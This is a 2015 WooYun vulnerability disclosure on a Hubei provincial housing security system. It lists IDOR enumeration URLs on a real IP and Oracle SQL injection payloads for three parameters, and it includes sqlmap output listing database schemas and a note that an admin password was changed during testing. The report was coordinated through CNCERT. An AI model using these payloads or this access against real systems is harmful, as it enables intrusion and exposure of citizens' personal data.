当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0138833

漏洞标题:湖北省住房保障管理信息系统漏洞大礼包可泄露海量数据

相关厂商:湖北省住房保障管理信息系统

漏洞作者: 二愣子

提交时间:2015-09-06 12:30

修复时间:2015-10-23 08:42

公开时间:2015-10-23 08:42

漏洞类型:未授权访问/权限绕过

危害等级:高

自评Rank:20

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-09-06: 细节已通知厂商并且等待厂商处理中
2015-09-08: 厂商已经确认,细节仅向厂商公开
2015-09-18: 细节向核心白帽子及相关领域专家公开
2015-09-28: 细节向普通白帽子公开
2015-10-08: 细节向实习白帽子公开
2015-10-23: 细节向公众公开

简要描述:

多乌云多机会

详细说明:

该系统存在注入、越权操作等高危漏洞。泄露大量全省住房公积金数据、湖北省建筑工程管理局OA系统数据、湖北八大员考试数据,住房保证和房产管理局数据。。。
该系统存在各种高危漏洞,愿管理员引起重视。以下是一些特别明显的漏洞~
1、越权遍历漏洞第一处

http://59.175.169.110:6080/ZRDJ_UI/Count/personDetail.aspx?sqbh=220238
泄露个人姓名、住址、收入、身份证信息、年龄、电话、工作单位、户籍信息。
以及家庭成员信息
修改sqbh参数即可遍历,简单测试了2202389。粗略估计上百万数据


2、遍历漏洞第二处

http://59.175.169.110:6080/ZRDJ_UI/FamilyManage1.aspx?keyId=2213008
与上面相同


3、越权访问、注入操作漏洞。
遍历:

http://59.175.169.110:6080/BZJDGL/tscl/tsclSys_Edit.aspx?id=47(修改id参数即可遍历)


注入payload

---
Place: GET
Parameter: id
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: id=47' AND 1111=1111 AND 'cHuZ'='cHuZ
Type: error-based
Title: Oracle AND error-based - WHERE or HAVING clause (XMLType)
Payload: id=47' AND 4629=(SELECT UPPER(XMLType(CHR(60)||CHR(58)||CHR(110)||CHR(108)||CHR(104)||CHR(58)||(SELECT (CASE WHEN (4629=4629) THEN 1 ELSE 0 END) FROM DUAL)||CHR(58)||CHR(97)||CHR(115)||CHR(110)||CHR(58)||CHR(62))) FROM DUAL) AND 'xmiY'='xmiY
Type: AND/OR time-based blind
Title: Oracle AND time-based blind
Payload: id=47' AND 9867=DBMS_PIPE.RECEIVE_MESSAGE(CHR(76)||CHR(73)||CHR(83)||CHR(110),5) AND 'EWtA'='EWtA
---


4、注入漏洞

http://59.175.169.110:6080/DataTJ/statsChart.aspx?area=襄阳市


注入payload

---
Place: GET
Parameter: area
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: area=襄阳市%' AND 4493=4493 AND '%'='
Type: error-based
Title: Oracle AND error-based - WHERE or HAVING clause (XMLType)
Payload: area=襄阳市%' AND 7693=(SELECT UPPER(XMLType(CHR(60)||CHR(58)||CHR(106)||CHR(121)||CHR(106)||CHR(58)||(SELECT (CASE WHEN (7693=7693) THEN 1 ELSE 0 END) FROM DUAL)||CHR(58)||CHR(114)||CHR(120)||CHR(106)||CHR(58)||CHR(62))) FROM DUAL) AND '%'='
Type: AND/OR time-based blind
Title: Oracle AND time-based blind
Payload: area=襄阳市%' AND 6844=DBMS_PIPE.RECEIVE_MESSAGE(CHR(80)||CHR(100)||CHR(72)||CHR(85),5) AND '%'='
---


5、越权访问、注入漏洞(危害最大的一处)

http://59.175.169.110:6080/User/UserEdit.aspx?keyId=8
可直接遍历所有管理员账号,修改管理员密码以及个人信息


注入payload:

---
Place: GET
Parameter: keyId
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: keyId=8' AND 6656=6656 AND 'xTar'='xTar
Type: error-based
Title: Oracle AND error-based - WHERE or HAVING clause (XMLType)
Payload: keyId=8' AND 4928=(SELECT UPPER(XMLType(CHR(60)||CHR(58)||CHR(121)||CHR(108)||CHR(99)||CHR(58)||(SELECT (CASE WHEN (4928=4928) THEN 1 ELSE 0 END) FROM DUAL)||CHR(58)||CHR(100)||CHR(111)||CHR(115)||CHR(58)||CHR(62))) FROM DUAL) AND 'ruJP'='ruJP
Type: AND/OR time-based blind
Title: Oracle AND time-based blind
Payload: keyId=8' AND 5946=DBMS_PIPE.RECEIVE_MESSAGE(CHR(120)||CHR(122)||CHR(80)||CHR(114),5) AND 'crsZ'='crsZ
---

漏洞证明:

1、第一处遍历(http://59.175.169.110:6080/ZRDJ_UI/Count/personDetail.aspx?sqbh=220238)

1.png


2、第二处遍历(http://59.175.169.110:6080/ZRDJ_UI/FamilyManage1.aspx?keyId=2213008)

2.png


3、第三处遍历、越权(http://59.175.169.110:6080/User/UserEdit.aspx?keyId=8)

3.png



该账户名为:jianglingxian
修改密码为:201593test
登录地址:http://59.175.169.110:6080/

4.png


(测试之后,密码已经重置)
4、注入信息

I:\SQL注入\sqlmap>sqlmap.py -u "http://59.175.169.110:6080/User/UserEdit.aspx?keyId=8" --dbs
sqlmap/1.0-dev - automatic SQL injection and database takeover tool
http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibilit
y to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage
caused by this program
[*] starting at 17:57:26
[17:57:26] [INFO] resuming back-end DBMS 'oracle'
[17:57:26] [INFO] testing connection to the target URL
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: GET
Parameter: keyId
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: keyId=8' AND 6656=6656 AND 'xTar'='xTar
Type: error-based
Title: Oracle AND error-based - WHERE or HAVING clause (XMLType)
Payload: keyId=8' AND 4928=(SELECT UPPER(XMLType(CHR(60)||CHR(58)||CHR(121)||CHR(108)||CHR(99)||CHR(58)||(SELECT (CASE WHEN (4928=4
928) THEN 1 ELSE 0 END) FROM DUAL)||CHR(58)||CHR(100)||CHR(111)||CHR(115)||CHR(58)||CHR(62))) FROM DUAL) AND 'ruJP'='ruJP
Type: AND/OR time-based blind
Title: Oracle AND time-based blind
Payload: keyId=8' AND 5946=DBMS_PIPE.RECEIVE_MESSAGE(CHR(120)||CHR(122)||CHR(80)||CHR(114),5) AND 'crsZ'='crsZ
---
[17:57:27] [INFO] the back-end DBMS is Oracle
web server operating system: Windows 2008
web application technology: ASP.NET 4.0.30319, ASP.NET, Microsoft IIS 7.5
back-end DBMS: Oracle
[17:57:27] [WARNING] schema names are going to be used on Oracle for enumeration as the counterpart to database names on other DBMSes
[17:57:27] [INFO] fetching database (schema) names
[17:57:27] [INFO] the SQL query used returns 38 entries
available databases [38]:
[*] CLGL
[*] CTXSYS
[*] DBSNMP
[*] EXFSYS
[*] FLOWS_030000
[*] FLOWS_FILES
[*] HBBZF
[*] HBJZGCGLJ
[*] HBJZGCGLJWF
[*] HBKSPJ
[*] HBSBDYKS
[*] HBZFBZ
[*] HBZFBZNEW
[*] HBZFBZTEMP
[*] HBZFBZTEST
[*] HBZFBZTEST1
[*] HBZFBZWEB
[*] HQZXTEST
[*] HYHOUSE
[*] HYHOUSE1
[*] HYHOUSETEST
[*] LJCLC
[*] LJCLCTEST
[*] MDSYS
[*] OLAPSYS
[*] ORDSYS
[*] OUTLN
[*] SCOTT
[*] SDE
[*] SYS
[*] SYSMAN
[*] SYSTEM
[*] TESTF
[*] TSMSYS
[*] WK_TEST
[*] WKSYS
[*] WMSYS
[*] XDB


只贴上当前库的数据量

5.png


其它库里面包含全省住房公积金数据、湖北省建筑工程管理局OA系统数据、湖北八大员考试数据,住房保证和房产管理局数据
PS:抛开这几个漏洞不算,里面其实很多的后台注入。甚至,登录框都存在盲注。望引起重视

修复方案:

你们更专业

版权声明:转载请注明来源 二愣子@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:16

确认时间:2015-09-08 08:41

厂商回复:

CNVD确认并复现所述情况,已经转由CNCERT下发给湖北分中心,由其后续协调网站管理单位处置。按多个风险评分,rank 16

最新状态:

暂无